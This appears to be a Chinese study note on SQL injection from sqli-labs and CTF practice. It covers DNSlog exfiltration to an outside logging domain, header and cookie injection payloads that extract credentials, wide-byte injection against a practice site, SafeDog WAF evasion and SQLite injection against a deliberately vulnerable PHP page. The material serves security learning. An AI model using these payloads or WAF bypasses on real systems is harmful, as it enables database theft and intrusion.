SQL注入相关

DNSlog注入

1
2
3
4
5
6
7
select load_file("\\192.168.134.128\123\test.txt");    他会去访问192.168.134.128下面的123文件夹里的test.txt文件

select load_file("\\(select database())\123\test.txt"); 数据库在执行这条指令之前,会先执行查询库名的指令,把查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在DNS服务器上面获得DNS日志即可

需要用到的网站:
http://ceye.io
https://dnslog.org/

以less-9为例:

1
2
3
4
5
6
查库名:
?id=1' and (select load_file(concat("//",(select database()),".4feea368.log.dnslog.qzz.io.")))--+
查表名:
?id=1' and (select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".4feea368.log.dnslog.qzz.io.")))--+
查列名:
?id=1' and (select load_file(concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),".4feea368.log.dnslog.qzz.io.")))--+

POST注入

POST union注入

查询方法和GET提交基本一样,只是提交位置不同而已

例如less11,使用万能密码 admin' or 1=1# 可以直接登录,也可以进行union 联合注入

POST报错注入

查询方法和GET提交基本一样,只是提交位置不同而已

例如less13:

HTTP头注入

uagent注入

当页面看不到明显变化,找不到注入点,可以尝试报头注入

例题:less-18

查看源码发现注入出现点:

根据源码可以修改 ‘$uagent’,’$IP’(没有安全性输入检测)进行注入

利用报错注入(前提是用户名和密码需登陆正确):

1
2
3
查库名:
' or updatexml(1,concat('~',(select database())),3),2,3) #
('闭合前面的',#注释掉后面的语句)

1
2
查表名:
' or updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database())),3),2,3) #

1
2
查列名:
' or updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())),3),2,3) #

1
2
获取数据:
' or updatexml(1,concat('~',(select concat(username,':',password)from users limit 0,1)),3),2,3) #

Referer注入

源代码分析:

1
INSERT INTO  'security'.'referers' ('referers','ip_address') VALUES (1,2);

利用报错注入:

1
2
查表名:
' or extractvalue(1,concat('~',(select database()))),3) #

1
2
查表名:
' or extractvalue(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database()))),3) #

1
2
查列名:
' or extractvalue(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))),3) #

1
2
获取数据:
' or extractvalue(1,concat('~',(select concat(username,':',password)from users limit 1,1))),3) #

Cookie注入

源码分析:

setcookie函数生成cookie

利用union联合注入:

1
2
查库名:
' union select 1,database(),3--+

1
2
查表名:
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

1
2
查列名:
' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),3--+

1
2
获取数据:
' union select 1,(select concat(username,':',password)from users limit 0,1),3--+

sql注入绕过

注释符号绕过

常用注释符号:

-- # %23(#的url编码)

例题:less-23

源码分析:

#和–会被替换为空

以单引号闭合为例,其他闭合方式绕过方法相同

  • 1.可以多加一个 ‘ ,把后面源码的 ‘ 手动闭合

  • 2.也可以用 or '1'='1 手动闭合

其他闭合方式:

and和or过滤绕过

分析源码得and和or被替换为空

  • 1.大小写绕过
  • 2.复写绕过
  • 3.用&&取代and,用|| 取代or (&&可用url编码%26%26代替)

空格绕过

les-26

源码分析:

  • 1.使用+代替空格

  • 2.使用/**/代替

  • 3.使用url编码:

  • 4.使用报错注入
1
?id=1'||extractvalue(1,concat('~',(database())))||'1'='1

在查表名,列名时可用 () 将要空格部分括起来

逗号过滤join绕过

例题:less-25

1
2
3
4
5
select u.*,e.* from users u,emails e where u.id=e.id;
给users这张表取名为u,emails这张表取名为e,并联合查询这两张表id相同的列的信息

使用JOIN
select u.*,e.* from users u JOIN emails e where u.id=e.id;

JOIN绕过逗号原理:

1
2
select * from users where id=1 union select * from (select 1)a JOIN (select 2)b JOIN (select 3)c;
代替了union select 1,2,3
1
2
3
4
5
6
7
8
9
查库名:
?id=-1 select * from users where id=1 union select * from (select 1)a JOIN (select database())b JOIN (select 3)c--+
查表名:
?id=-1 union select * from (select 1)a JOIN (select group_concat(table_name)from information_schema.tables where table_schema=database())b JOIN (select 3)c --+
查列名:
?id=-1 union select * from (select 1)a JOIN (select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())b JOIN (select 3)c--+
获取数据:
?id=-1 union select * from (select 1)a JOIN (select concat(username)from users)b JOIN (select 3)c--+
(因为逗号被过滤了,所以这里获取数据时不能concat(username,':',password)),只能分开一个一个的查询

union和select绕过

  • 1.大小写绕过
  • 2.复写绕过
  • 3.尝试报错注入
  • 4.尝试URL编码绕过(如less-28过滤相连的union select,使用union%0Aselect可以绕过)

宽字节注入

1
2
3
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 转义一个字符串

什么是宽字节?
字符大小为一个字节时为窄字节,字符大小为两个及以上的字节时为宽字节。

原理:

在开发网站过程中,一些程序员为了防止SQL注入,会使用反斜杠“\”对一些特殊字符进行转义。而我们在进行SQL注入过程中,经常通过闭合单引号或者双引号来判断是否存在注入点并进行接下来的注入操作。而开发人员就对引号进行转义来防止攻击者进行SQL注入攻击,通常开发语言中的转义字符都是反斜杠“\”
例如PHP开发语言中,magic_qutes_gpc()函数的作用就是对用户提交的数据进行解析,如有:post、get、cookie过来的数据增加转义符“\” 以确保这些数据不会引起程序错误。
但是攻击者总能想到办法来解决这个问题。因为“\”的转义后的编码为%5c,可以联想到我们中国的汉字有偏旁部首可以拼成一个汉字,那么对于转义字符编码%5c也可以找到一个编码跟它凑成一个新的字。
例如在GBK编码中%df%5c就是繁体字“連”,所以这是我们就可以成功的绕过magic_qutes_gpc()函数的转义。
注意:只有是中文编码的数据库才可以这样并且数据库的编码为GBK编码

例题:

  • 1.首先检测一下是否存在输入点

“http://124.70.71.251:49790/new_list.php?id=1 and 1=2”

页面没有反应,说明and 1=2 条件没有生效,代表通过get方式提交的id值可能被符号给引用了

  • 2.试试单引号:http://124.70.71.251:49790/new_list.php?id=1' and 1=2--+

双引号:
http://124.70.71.251:49790/new_list.php?id=1" and 1=2--+

经测试,页面均无反应,推测可能是对单引号和双引号进行了转义

  • 3.使用在引号前面加入%df测试一下。http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2--+

发现在单引号前加入%df后,构造的and 1=2发生了作用,使得页面没有正常回显。说明可以进行宽字节注入

  • 4.接下来就可以先来猜测后端查询语句所查询字段的个数了http://124.70.71.251:49790/new_list.php?id=1%df' order by 5--+

http://124.70.71.251:49790/new_list.php?id=1%df' order by 6--+

经测试发现5正常回显,6时报错,说明查询字段数为5

  • 5.查询回显位:

http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,3,4,5--+

发现只有3和5回显,说明可在3和5的位置进行查询

  • 6.查库名:
    http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(schema_name),4,database() from information_schema.schemata--+

  • 7.查表名:
    http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name='stormgroup_member'--+

发现页面报错,这时我们回想到开头我们判断是否存在注入点的时候,我们已经得到了一个结论,那就是单引号和双引号都被后端给转义了,而我们的payload中table_name=’stormgroup_member’,就存在单引号,所有后端在查询的时候才会报错。
这里有两种方法绕过:

第一种也就是最快的一种:
直接将表名stormgroup_member变成ascii码(ASCII字符串到16进制在线转换工具 - Coding.Tools),然后再拼接到payload中

1
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=0x73746f726d67726f75705f6d656d626572--

第二种:
因为我们已经可以查出表名,并且当前数据库下只有两张表,且stormgroup_member表位于查询结果的第二位

1
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)--+

其中(select table_name from information_schema.tables where table_schema=database() limit 1,1) 查询出来的结果就是stormgroup_member这张表名

  • 8.获取信息:

    这里就查询到了stormgroup_member这张表的所有列名信息,接下来就可以查询信息了

1
2
http://124.70.71.251:49790/new_list.php?id=1%df' and 1=2 union select 1,2,group_concat(password),4,group_concat(name) from stormgroup_member--+

这样我们就爆出来stormgroup_member表中的数据
由于密码被MD5加密了所以我们要用MD5解密(md5在线解密破解,md5解密加密)之后,再登录页面进行登录,登录成功,将页面划到最底端就可以拿到KEY了

安全狗4.0.26550绕过

注释:

1
2
3
/**/:在MYSQL里,多行解释是/**/
/*!xxx*/:前面加上叹号,那么此解释里的语句将被执行 如/*!benben*/
/*!50001xxx*/:这里的50001表示假如数据库是5.00.01以上版本,该语句才会被执行
1
当database()被过滤时,就可以使用database(/*!90000benben*/)绕过

安全狗3.5.12048绕过

1
当union select 同时出现会被拦截时可以在union select 中插入一点东西以绕过,如 /*!90000benben*/,--+b%0A(--+注释掉后面部分的b,%0A换行后的内容不被注释掉)

information_schema被过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
使用其他两张表:
sys.schema_table_statistics_with_buffer和sys.x$ps_schema_table_statistics_io

这两张表都含有的字段:
table_schema(库名),table_name(表名 )

查询方法和information_schema一样,只需将information_schema替换为上述表名即可
查表名:
SELECT DISTINCT table_name FROM sys.schema_table_statistics_with_buffer WHERE table_schema = 'your_db_name';

SELECT table_name FROM sys.x$ps_schema_table_statistics_io WHERE table_schema = 'your_db_name';

查列名(派生表查询):
select group_concat(username,':', password) from (select * from users union select 1,2 as b,3 as c) as result;

还有一张在做题的时候遇到的可以绕过的表,注意他的库名和information_schema的库名不一样,不是table_schema而是database_name

mysql.innodb_table_stats介绍:

主要字段:

1
2
3
4
5
6
database_name   -- 数据库名
table_name -- 表名
last_update -- 最后统计更新时间
n_rows -- 估算的行数
clustered_index_size -- 聚簇索引大小(页数)
sum_of_other_index_sizes -- 其他索引大小(页数)

在 SQL 注入中的用途:

  1. 查表名:
1
2
select table_name from mysql.innodb_table_stats 
where database_name = database() -- 当前数据库

或查所有数据库的表:

1
SELECT database_name, table_name FROM mysql.innodb_table_stats

安全狗3.5绕过JOIN无列名报错注入

当column被过滤时,无法查询列名,可以使用JOIN无列名绕过

1
2
3
4
5
6
7
select * from (select * from users as a JOIN users as b)c;

把users这张表使用JOIN联合查询得到表c,再查询表c的所有内容,但是一次只会展示一个列名,所以需要用using依次查询
如第一次查到列名为id,则查询下一个列名:
select * from (select * from users as a JOIN users as b using(id))c;
select * from (select * from users as a JOIN users as b using(id,username))c;
.......

安全狗3.5超大数据包绕过

有时当提交数据超过检查范围时可以绕过拦截,可以在/*xxx*/中插入超大数据增加字符串数量

分块传输绕过最新版安全狗

前提:对方网站支持分块传输

将POST提交的数据分散打乱成多块提交,对方会将我们提交的数据重新组装,从而绕过验证

注意:分块传输的POST数据头部需要添加 Transfer-Encoding: Chunked,并且请求体需要两次换行,换行前的数字表示换行后字符串的长度(3:id=,1:1,0)

sqlite

sqlite和mysql等还是有些区别的,sqlite的每一个数据库就是一个文件

1
2
3
创建数据库:

sqlite3 test.db

常用sqlite命令:

命令 作用
.tables 显示所有表
.schema 表名 显示表的创建语句
.databases 显示当前数据库
.exit.quit 退出
.help 显示帮助信息

打开数据库

1
2
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open sqltest.db

导入导出

1
2
3
4
# 导出
$sqlite3 testDB.db .dump > testDB.sql
# 导入
$sqlite3 testDB.db < testDB.sql

创建表

语句和mysql差不多

1
2
3
4
sqlite> create table test(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL
...> );

查看表

.tables 命令用来列出附加数据库中的所有表。

1
2
sqlite> .tables
test

.schema 命令得到表的完整信息:

1
2
3
4
5
sqlite> .schema test
CREATE TABLE test(
id INT PRIMARY KEY NOT NULL,
name char(50) NOT NULL
);

值得注意的一点是得到的结果是我们创建表时执行的命令语句,这也是sqlite的特点

插入数据

INSERT INTO 语句用于向数据库的某个表中添加新的数据行

1
2
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');

查询语句

使用select关键字

1
2
3
4
5
6
7
8
9
10
11
sqlite> select * from test;
id name
---------- ----------
1 alice
2 bob

sqlite> select name from test;
name
----------
alice
bob

如果查询结果格式比较乱,需要设置格式化输出

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
在数据库下创建一个表:

sqlite> create table user_data(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL,
...> passwd cahr(50) NOT NULL);

sqlite> insert into user_data (id,name,passwd) values (1,'admin','password');
sqlite> insert into user_data (id,name,passwd) values (2,'bob','wowowow');
sqlite> insert into user_data (id,name,passwd) values (3,'flag','flag{test}');
sqlite> select * from user_data;
1|admin|password
2|bob|wowowow
3|flag|flag{test}

页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<html>
<body>
<form action="" method="POST">
<input type="text" name="id" size="80">
<input type="submit">
</form>
</body>
</html>

<?php
class MyDB extends SQLite3
{
function __construct()
{
$this->open('user.db');
}
}
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n</br>";
}

$id = $_POST['id'];
$sql =<<<EOF
SELECT * from user_data where id='$id';
EOF;
$ret = $db->query($sql);
if($ret==FALSE){
echo "Error in fetch ".$db->lastErrorMsg();
}
else{
while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
echo "ID = ". $row['id'] . "</br>";
echo "NAME = ". $row['name'] ."</br>";
echo "PASS = ". $row['passwd'] ."</br>";
}
var_dump($ret->fetchArray(SQLITE3_ASSOC));
}

$db->close();

?>

sqlite注入的union联合查询和sql注入前面的查询方法一样:

使用order by确定查询字段数:

1
2
1' order by 3;
1' order by 4;

查看回显位:

1
0' union select 1,2,3;

查版本

1
0' union select 1,2,sqlite_version();

前置知识:

  • 1.sqlite_master 是 SQLite 的系统表,存储了数据库中所有表、索引、视图和触发器的元数据

sql

1
2
-- 查看 sqlite_master 的结构
SELECT * FROM sqlite_master;

表结构

字段 说明
type 对象类型:’table’、’index’、’view’、’trigger’
name 对象名称
tbl_name 表名(对于表,与 name 相同)
rootpage 内部使用
sql 创建对象的完整 SQL 语句

sql 列里存的是创建这个表时的完整 SQL 语句(也就是表的结构)

当你执行这个命令创建表时:

sql

1
2
3
4
5
CREATE TABLE user_data(
id INT PRIMARY KEY,
name char(50),
passwd char(50)
);

SQLite 会自动把这条 SQL 语句原样保存sqlite_master 表的 sql 列里

如上图的test.db数据库:

字段 值1(表) 值2(索引) 说明
type table index 对象类型
name user_data sqlite_autoindex_user_data_1 对象名称
tbl_name(表名) user_data user_data 所属表名
rootpage 2 3 内部页面编号
sql CREATE TABLE... (空) 创建对象的SQL语句

表名和列名

1
2
3
4
5
0' union select 1,2,sql from sqlite_master;
or
0' union select 1,2,sql from sqlite_master where type='table';
or
0' union select 1,2,sql from sqlite_master where type='table' and name='user_data';

如下查询结果即为建表语句:

或者:
多条记录时用group_concat聚合或者使用limit

1
2
3
0' union select 1,2,group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --
或者使用limit来输出一行结果
0' union select 1,2,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1 --

limit后面接的数字是截取的行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,所以我们获得了第二个表名。

另外可以通过下面的payload获取到格式化过的列名:

LIKE 和 NOT LIKE 是什么?

LIKE 是 SQL 中的模糊匹配操作符,用于匹配字符串模式

  • % 代表任意多个字符(包括0个)
  • _ 代表单个任意字符

拆解这个条件

sql

1
tbl_name NOT LIKE 'sqlite_%'

意思是:

  • tbl_name 字段的值 不匹配 模式 'sqlite_%'
  • 'sqlite_%' 匹配所有以 "sqlite_" 开头的字符串

为什么要过滤掉 sqlite_%?

SQLite 系统内部会有一些以 “sqlite_” 开头的系统对象,这些是 SQLite 自己用的,不是用户创建的表。

常见的 sqlite_ 开头的对象:

对象名 说明
sqlite_sequence 用于 AUTOINCREMENT 的序列表
sqlite_stat1 统计信息表
sqlite_stat2 统计信息表
sqlite_autoindex_xxx 自动创建的索引
1
0' union select 1,2,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') from sqlite_master where type='table' and name='user_data' --

查数据

1
0' union select id,name,passwd from user_data;

使用group_concat连接查询结果

1
0' union select 1,2,group_concat(passwd) from user_data;

注释符:(–)

为什么 MySQL 常用 –+?

MySQL 中:

  • -- 后面必须跟一个空格才会被识别为注释
  • 但在 URL 中,空格会被编码或过滤
  • 所以用 + 代替空格(+ 在 URL 中被解析为空格)